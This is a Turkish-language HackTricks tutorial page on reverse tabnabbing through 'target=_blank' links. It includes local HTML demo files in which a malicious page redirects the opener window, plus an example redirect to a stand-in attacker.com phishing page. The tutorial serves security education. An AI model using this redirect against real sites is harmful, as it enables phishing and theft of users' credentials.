6.6 KiB
htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Açıklama
Bir saldırgan, bir kurban tarafından tıklanacak olan target="_blank" rel="opener"
özniteliğine sahip bir <a
etiketinin href
argümanını kontrol edebildiği bir durumda, saldırgan bu bağlantıyı kendi kontrolü altındaki bir web sitesine (bir zararlı web sitesi) yönlendirebilir. Ardından, kurban bağlantıya tıkladığında ve saldırganın web sitesine eriştiğinde, bu zararlı web sitesi, javascript nesnesi window.opener
aracılığıyla orijinal sayfayı kontrol edebilir.
Eğer sayfada rel="opener"
bulunmuyor ancak target="_blank"
bulunuyorsa ve rel="noopener"
de bulunmuyorsa, bu da zayıf olabilir.
Bu davranışı kötüye kullanmanın yaygın bir yolu, window.opener.location = https://attacker.com/victim.html
aracılığıyla orijinal web sitesinin konumunu değiştirmek ve saldırgan tarafından kontrol edilen, orijinaline benzeyen bir web sitesine yönlendirmektir, böylece kullanıcıdan kimlik bilgilerini isteyebilir.
Ancak, saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edebildiği için, daha gizli saldırılar gerçekleştirmek için başka yollarla da kötüye kullanabilir (belki javascript etkinliklerini değiştirerek bilgileri kendisi tarafından kontrol edilen bir sunucuya çalmak?)
Genel Bakış
Geri bağlantı ile
Önleme özniteliği kullanılmadığında, ana ve alt sayfalar arasındaki bağlantı:
Geri bağlantı olmadan
Önleme özniteliği kullanıldığında, ana ve alt sayfalar arasındaki bağlantı:
Örnekler
Aşağıdaki sayfaları bir klasöre oluşturun ve python3 -m http.server
ile bir web sunucusu çalıştırın.
Ardından, http://127.0.0.1:8000/
vulnerable.html'ye erişin, bağlantıya tıklayın ve orijinal web sitesinin URL'sinin nasıl değiştiğini not edin.
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% code title="kötücül.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% code title="kötü_niyetli_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
Erişilebilir özellikler
Çapraz kökenli bir erişimin (farklı alanlar arasında erişim) gerçekleştiği senaryoda, kötü niyetli bir site tarafından erişilebilen opener JavaScript nesne referansıyla ilişkilendirilen window JavaScript sınıf örneğinin erişebileceği özellikler aşağıdakiyle sınırlıdır:
opener.closed
: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve bir boolean değeri döndürür.opener.frames
: Bu özellik, mevcut pencere içindeki tüm iframe öğelerine erişim sağlar.opener.length
: Bu özellik, mevcut penceredeki iframe öğelerinin sayısını döndürür.opener.opener
: Bu özellik aracılığıyla, mevcut pencereyi açan pencereye referans alınabilir.opener.parent
: Bu özellik, mevcut pencerenin üst penceresini döndürür.opener.self
: Bu özellik, mevcut pencereye erişim sağlar.opener.top
: Bu özellik, en üstteki tarayıcı penceresini döndürür.
Ancak, alanlar aynı olduğunda, kötü niyetli site window JavaScript nesne referansı tarafından sunulan tüm özelliklere erişim sağlar.
Önleme
Önleme bilgileri HTML5 Cheat Sheet belgesine kaydedilmiştir.
Referanslar
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.